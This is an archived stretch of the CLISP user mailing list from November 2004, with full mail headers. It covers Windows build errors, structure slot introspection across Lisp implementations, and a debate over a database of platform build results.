X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 24 07:07:03 2004 X-Original-Date: Wed, 24 Nov 2004 09:59:23 -0500 > * Yaroslav Kavenchuk [2004-11-24 10:54:14 +0200]: > > My attempt build cvs-version clisp with cygwin and option --with-mingw > is unsuccessful. actually, you are perfectly successful! >> $ ./configure --with-mingw --config build-win32 if you want to use install.bat, you must also build the dirkey module: $ ./configure --with-mingw --with-module=syscalls --with-module=dirkey --with-module=regexp --build build-win32 >> $ cat /usr/src/clisp/build-win32/tests/streamslong.erg >> Form: (LET ((F "foo") (S "12345") L) (WITH-OPEN-FILE (O F :DIRECTION > :OUTPUT) (WRITE-STRING S O)) (WITH-OPEN-FILE (I F :BUFFERED T) (LISTEN I) > (PUSH (READ-CHAR I) L)) (WITH-OPEN-FILE (I F :BUFFERED NIL) (LISTEN I) (PUSH > (READ-CHAR I) L)) (DELETE-FILE F) L) >> CORRECT: (#\1 #\1) >> CLISP : ERROR >> Win32 error 0 (ERROR_SUCCESS): The operation completed successfully. don't worry about this one. >> $ make distrib > Extract distrib in C:\CLISP an run install.bat you don't need to run install.bat to use clisp! > gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-ty > pe -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_T > ERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none > libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -luuid >> SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED > TRIVIALMAP_MEMORY >> Features: >> (LOOP COMPILER CLOS CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS > GENERIC-STREAMS >> LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32) >> Installation directory: >> User language: ENGLISH >> Machine: PC/386 (PC/686) home [127.0.0.1] >> $ ./lisp.exe -M lispinit.mem >> [1]> >> *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid. >> The following restarts are available: >> ABORT :R1 ABORT >> >> Break 1 [2]> >> *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid. >> The following restarts are available: >> ABORT :R1 ABORT >> ABORT :R2 ABORT >> >> Break 2 [3]> >> *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid. >> The following restarts are available: >> ABORT :R1 ABORT >> ABORT :R2 ABORT >> ABORT :R3 ABORT > and so on. yes, we are aware of this issue. note that these are development sources you are using! this is not a release! -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From pascal@informatimago.com Wed Nov 24 08:58:23 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CX0TC-0006J7-9B; Wed, 24 Nov 2004 08:58:18 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CX0TA-00035Q-OD; Wed, 24 Nov 2004 08:58:18 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id D8B33586F1; Wed, 24 Nov 2004 17:58:01 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 443854F7B; Wed, 24 Nov 2004 17:58:00 +0100 (CET) Message-ID: <16804.48536.250395.873429@thalassa.informatimago.com> To: Joseph Kiniry Cc: clisp-list@lists.sourceforge.net, sbcl-help@lists.sourceforge.net, cmucl-help@cons.org In-Reply-To: <6A2042E8-3E16-11D9-BF1C-000D93ACC586@acm.org> References: <6A2042E8-3E16-11D9-BF1C-000D93ACC586@acm.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] [Sbcl-help] Comparing arbitrary structures. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 24 09:05:12 2004 X-Original-Date: Wed, 24 Nov 2004 17:58:00 +0100 Joseph Kiniry writes: > I'm porting an application (OBJ3) to CMUCL, SBCL, and CLISP. > > I need a function that will define a total order on two arbitrary > structures. > > In my other ports, I've used internal functions to get lists of slots, > orders on them, etc. > > Do the CMUCL, SBCL, and CLISP developers have suggestions for > implementing such a function? I've dug around the internal > functionality, but have not found an obvious solution to this problem. Should this order be the same on all these implementations? Should it be the same accross sessions? In general for structures it's not possible, there's no reflectivity of structures. Either you limit yourself to the structure defined with one of your macros that will keep the fields arround, or you'll have to use CLOS. Note that some structure types may be defined to be implemented with lists or vectors! -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From sds@gnu.org Wed Nov 24 11:57:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CX3Gj-0004Qo-QY; Wed, 24 Nov 2004 11:57:37 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CX3Gi-00017o-5J; Wed, 24 Nov 2004 11:57:37 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iAOJvEnE009410; Wed, 24 Nov 2004 14:57:15 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joseph Kiniry Cc: sbcl-help@lists.sourceforge.net, cmucl-help@cons.org Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <0D487805-3E4E-11D9-BF1C-000D93ACC586@acm.org> (Joseph Kiniry's message of "Wed, 24 Nov 2004 19:21:33 +0000") References: <6A2042E8-3E16-11D9-BF1C-000D93ACC586@acm.org> <16804.48536.250395.873429@thalassa.informatimago.com> <0D487805-3E4E-11D9-BF1C-000D93ACC586@acm.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Joseph Kiniry , sbcl-help@lists.sourceforge.net, cmucl-help@cons.org Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Comparing arbitrary structures. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 24 12:11:28 2004 X-Original-Date: Wed, 24 Nov 2004 14:57:14 -0500 > * Joseph Kiniry [2004-11-24 19:21:33 +0000]: > > My concern was not knowing anything about the quality and completeness > of CLOS/MOP implementations across CL platforms. All implementations support MOP to at least "some" degree. If all you need is a simple introspection (slot list), then CLOCC/PORT/sys.lisp:class-slot-list is your friend. if you need the advanced MOP features, then you are likely to hit at least "some" incompatibilities. Note that the next CLISP release will come with a full MOP implementation. -- Sam Steingold (http://www.podval.org/~sds) running w2k The only intuitive interface is the nipple. The rest has to be learned. From adejneka@comail.ru Wed Nov 24 09:17:36 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CX0lq-0002wx-Rc; Wed, 24 Nov 2004 09:17:34 -0800 Received: from relay.comstar.ru ([83.242.139.16]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CX0ll-0007Q9-IP; Wed, 24 Nov 2004 09:17:34 -0800 Received: from localhost (localhost [127.0.0.1]) by relay.comstar.ru (Postfix) with ESMTP id 083A64B4944; Wed, 24 Nov 2004 20:16:32 +0300 (MSK) Received: from debian (d135.p15.col.ru [82.204.231.135]) by relay.comstar.ru (Postfix) with ESMTP id BE53B4B48F2; Wed, 24 Nov 2004 20:16:30 +0300 (MSK) Received: from alexey by debian with local (Exim 3.12 #1 (Debian)) id 1CX0mR-0000CW-00; Wed, 24 Nov 2004 20:18:11 +0300 To: Joseph Kiniry Cc: clisp-list@lists.sourceforge.net, sbcl-help@lists.sourceforge.net, cmucl-help@cons.org From: Alexey Dejneka In-Reply-To: <6A2042E8-3E16-11D9-BF1C-000D93ACC586@acm.org> (Joseph Kiniry's message of "Wed, 24 Nov 2004 12:43:17 +0000") References: <6A2042E8-3E16-11D9-BF1C-000D93ACC586@acm.org> X-Face: ;-z.&Ou]tPBxLUcL%8~p1; Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Virus-Scanned: by ClamAV at comstar.ru X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Comparing arbitrary structures. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 24 12:14:42 2004 X-Original-Date: Wed, 24 Nov 2004 20:17:15 +0300 Hello, Joseph Kiniry writes: > I need a function that will define a total order on two arbitrary > structures. > > In my other ports, I've used internal functions to get lists of slots, > orders on them, etc. > > Do the CMUCL, SBCL, and CLISP developers have suggestions for > implementing such a function? I've dug around the internal > functionality, but have not found an obvious solution to this > problem. Under SBCL you can get a list of slot descriptions with (sb-pcl:class-slots (sb-pcl:find-class )) Then use SB-PCL:SLOT-DEFINITION-... to get slot information. -- Regards, Alexey Dejneka "Alas, the spheres of truth are less transparent than those of illusion." -- L.E.J. Brouwer From sds@gnu.org Wed Nov 24 12:26:00 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CX3iC-0006CW-92 for clisp-list@lists.sourceforge.net; Wed, 24 Nov 2004 12:26:00 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CX3iB-0005jj-Et for clisp-list@lists.sourceforge.net; Wed, 24 Nov 2004 12:26:00 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iAOKPenE016909; Wed, 24 Nov 2004 15:25:45 -0500 (EST) To: clisp-list@lists.sourceforge.net, don-test-204@isis.cs3-inc.com (Don Cohen) Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16796.58757.842164.837065@isis.cs3-inc.com> (Don Cohen's message of "Thu, 18 Nov 2004 10:10:13 -0800") References: <20041118041019.C43621D27F7@sc8-sf-uberspam1.sourceforge.net> <16796.58757.842164.837065@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-test-204@isis.cs3-inc.com (Don Cohen) Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: versions of OS for which various versions of clisp build Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 24 12:26:10 2004 X-Original-Date: Wed, 24 Nov 2004 15:25:40 -0500 > * Don Cohen [2004-11-18 10:10:13 -0800]: > > My new request is that the install instructions should mention this as > a potential problem and refer to a web page on which is recorded > versions of clisp/OS that do and don't build, preferably including > various configuration options, and perhaps the errors that occur in > the incompatible cases. would you like to maintain such a page? -- Sam Steingold (http://www.podval.org/~sds) running w2k In the race between idiot-proof software and idiots, the idiots are winning. From don-test-204@isis.cs3-inc.com Wed Nov 24 13:33:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CX4lP-0004yX-D8 for clisp-list@lists.sourceforge.net; Wed, 24 Nov 2004 13:33:23 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CX4lO-0004dV-BZ for clisp-list@lists.sourceforge.net; Wed, 24 Nov 2004 13:33:23 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id iAOLPaM13747 for clisp-list@lists.sourceforge.net; Wed, 24 Nov 2004 13:25:36 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-test-204 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-test-204@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16804.64592.140265.861542@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20041118041019.C43621D27F7@sc8-sf-uberspam1.sourceforge.net> <16796.58757.842164.837065@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: -3.9 (---) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FROM_ENDS_IN_NUMS From: ends in numbers -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: versions of OS for which various versions of clisp build Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 24 13:34:03 2004 X-Original-Date: Wed, 24 Nov 2004 13:25:36 -0800 Sam Steingold writes: > > * Don Cohen [2004-11-18 10:10:13 -0800]: > > > > My new request is that the install instructions should mention this as > > a potential problem and refer to a web page on which is recorded > > versions of clisp/OS that do and don't build, preferably including > > various configuration options, and perhaps the errors that occur in > > the incompatible cases. > > would you like to maintain such a page? How would I get the data? It seems the easiest thing would be a web interface that allows people to submit data into a database and search that database. If you think some machine of mine is as good as any for that purpose I suppose I could volunteer one. Actually, it seems to me that the best case would be for sourceforge to collect the data. Is there a way to do that? Otheriwse it would probably be a good idea to occasionally upload the database to some place on sourceforge. (Or some similar place - any suggestions?) Perhaps the first question is what data should be collected. Here's what comes to my mind immediately: - who's reporting (possibly inc. IP address used to submit data) - when it was reported - version of clisp (only distributed versions) - OS/version need some guidelines here Perhaps we want such things as what versions of what libraries. - configuration options - result need some guidelines here Clearly we want more than success/failure For build errors we want to know something about where it failed. For test errors, which test(s) failed (Can there be more than one or does it stop at the first?) - commentary related to diagnosis of problems Come to think of it, is there a reasonable way to run tests from one version on another version? It would be useful to know what bugs are known to exist in which versions of clisp, and if they're OS dependent, then which OS versions. The most obvious way to get that data would be the test suite. I suppose that the test suite is effectively cumulative, so we want to know in general which tests have been observed to fail on which clisp versions on which OS versions built with which options. From sds@gnu.org Thu Nov 25 10:50:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXOgt-0007hY-TQ for clisp-list@lists.sourceforge.net; Thu, 25 Nov 2004 10:50:03 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CXOgr-0005ED-Tx for clisp-list@lists.sourceforge.net; Thu, 25 Nov 2004 10:50:03 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1CXOgq-0005cx-00; Thu, 25 Nov 2004 13:50:00 -0500 To: clisp-list@lists.sourceforge.net, don-test-204@isis.cs3-inc.com (Don Cohen) Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16804.64592.140265.861542@isis.cs3-inc.com> (Don Cohen's message of "Wed, 24 Nov 2004 13:25:36 -0800") References: <20041118041019.C43621D27F7@sc8-sf-uberspam1.sourceforge.net> <16796.58757.842164.837065@isis.cs3-inc.com> <16804.64592.140265.861542@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-test-204@isis.cs3-inc.com (Don Cohen), Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: versions of OS for which various versions of clisp build Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 25 10:51:02 2004 X-Original-Date: Thu, 25 Nov 2004 13:49:55 -0500 Quite a few packages offer automatic feedback. I see no reason not to do that with CLISP. An interactive web alternative is, of course, a must. I don't care much about which machine it will be running on - if it will prove useful, we might want to move it to our "official" web pages on gnu.org or sf.net (and getting you write access there won't be a problem). Bruno, what do you think? > * Don Cohen [2004-11-24 13:25:36 -0800]: > > Sam Steingold writes: > > > * Don Cohen [2004-11-18 10:10:13 -0800]: > > > > > > My new request is that the install instructions should mention this as > > > a potential problem and refer to a web page on which is recorded > > > versions of clisp/OS that do and don't build, preferably including > > > various configuration options, and perhaps the errors that occur in > > > the incompatible cases. > > > > would you like to maintain such a page? > How would I get the data? > It seems the easiest thing would be a web interface that allows > people to submit data into a database and search that database. > If you think some machine of mine is as good as any for that purpose > I suppose I could volunteer one. Actually, it seems to me that the > best case would be for sourceforge to collect the data. Is there > a way to do that? > Otheriwse it would probably be a good idea to occasionally upload the > database to some place on sourceforge. > (Or some similar place - any suggestions?) > > Perhaps the first question is what data should be collected. > Here's what comes to my mind immediately: > - who's reporting (possibly inc. IP address used to submit data) > - when it was reported > - version of clisp (only distributed versions) > - OS/version > need some guidelines here > Perhaps we want such things as what versions of what libraries. > - configuration options > - result > need some guidelines here > Clearly we want more than success/failure > For build errors we want to know something about where it failed. > For test errors, which test(s) failed > (Can there be more than one or does it stop at the first?) > - commentary related to diagnosis of problems > > Come to think of it, is there a reasonable way to run tests from > one version on another version? It would be useful to know what > bugs are known to exist in which versions of clisp, and if they're > OS dependent, then which OS versions. The most obvious way to get > that data would be the test suite. I suppose that the test suite > is effectively cumulative, so we want to know in general which tests > have been observed to fail on which clisp versions on which OS > versions built with which options. -- Sam Steingold (http://www.podval.org/~sds) running w2k Our business is run on trust. We trust you will pay in advance. From MAILER-DAEMON Thu Nov 25 12:00:33 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXPn7-00013u-9i for clisp-list@lists.sourceforge.net; Thu, 25 Nov 2004 12:00:33 -0800 Received: from [202.4.162.108] (helo=isvw.vasnet) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CXPn4-0001mE-VY for clisp-list@lists.sourceforge.net; Thu, 25 Nov 2004 12:00:33 -0800 From: postmaster To: Message-ID: X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 4.1 SUBJ_HAS_SPACES Subject contains lots of white space -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0003] 2.7 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Subject: [clisp-list] Failed to clean virus file game.txt .scr Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 25 12:01:04 2004 X-Original-Date: Fri, 26 Nov 2004 01:30:23 +0530 The file you have sent was infected with a virus but InterScan E-Mail VirusWall could not clean it. From bruno@clisp.org Thu Nov 25 12:38:00 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXQNM-0008NO-9V for clisp-list@lists.sourceforge.net; Thu, 25 Nov 2004 12:38:00 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CXQNG-0002aJ-3z for clisp-list@lists.sourceforge.net; Thu, 25 Nov 2004 12:37:59 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iAPKbcRE006509; Thu, 25 Nov 2004 21:37:38 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iAPKbWnG006281; Thu, 25 Nov 2004 21:37:32 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id DD7203B37F; Thu, 25 Nov 2004 20:37:04 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , don-test-204@isis.cs3-inc.com (Don Cohen) User-Agent: KMail/1.5 References: <20041118041019.C43621D27F7@sc8-sf-uberspam1.sourceforge.net> <16804.64592.140265.861542@isis.cs3-inc.com> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200411252137.03920.bruno@clisp.org> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: versions of OS for which various versions of clisp build Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 25 12:41:52 2004 X-Original-Date: Thu, 25 Nov 2004 21:37:03 +0100 Don Cohen suggested: > > > > My new request is that the install instructions should mention this > > > > as a potential problem and refer to a web page on which is recorded > > > > versions of clisp/OS that do and don't build, preferably including > > > > various configuration options, and perhaps the errors that occur in > > > > the incompatible cases. If you find it worth spending your time on, and enough people are willing to spend time entering their data into this database, I have no objection. Personally I find such an approach useless, because: - The data becomes obsolete quickly. You can take a look at clisp's unix/PLATFORMS file and decide whether you find information about AIX 3 and IRIX 6.2 useful or not. Also, who is interested in reports about versions older than the current stable one? Downloading the newest stable version is so easy. - A significant percentage of build failure reports usually comes from people who have screwed up their environment, or are using nonstandard tools and techniques (from snapshot versions of gcc, over 'stow', up to automounter problems). These people can fill up all the cells of the configuration table with "FAIL". So someone would be needed to distinguish invalid reports from valid ones. - What some people consider a build failure, for example your 'DS' problem, for other people is not even worth talking about because it's so straightforward to fix. - Merely recording the failures does not help fixing the problems. > > Come to think of it, is there a reasonable way to run tests from > > one version on another version? No. The tests use internal symbols from the implementation, which change from one release to the next. > > It would be useful to know what > > bugs are known to exist in which versions of clisp, and if they're > > OS dependent, then which OS versions. The most obvious way to get > > that data would be the test suite. Look into the CVS's NEWS file, and on the bug tracker. Bruno From sds@gnu.org Thu Nov 25 12:50:10 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXQZ8-0001r6-Pm for clisp-list@lists.sourceforge.net; Thu, 25 Nov 2004 12:50:10 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CXQYr-0001b7-4q for clisp-list@lists.sourceforge.net; Thu, 25 Nov 2004 12:50:09 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1CXQYp-0002lQ-00; Thu, 25 Nov 2004 15:49:51 -0500 To: Cc: clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@t-systems.com Mail-Copies-To: never Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17f3398b.a4f1753a.81ad100@expms6.cites.uiuc.edu> (taube@uiuc.edu's message of "Thu, 25 Nov 2004 14:31:59 -0600") References: <17f3398b.a4f1753a.81ad100@expms6.cites.uiuc.edu> Mail-Followup-To: , clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@t-systems.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: GTK2 FFI available for CMUCL, OpenMCL, SBCL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: 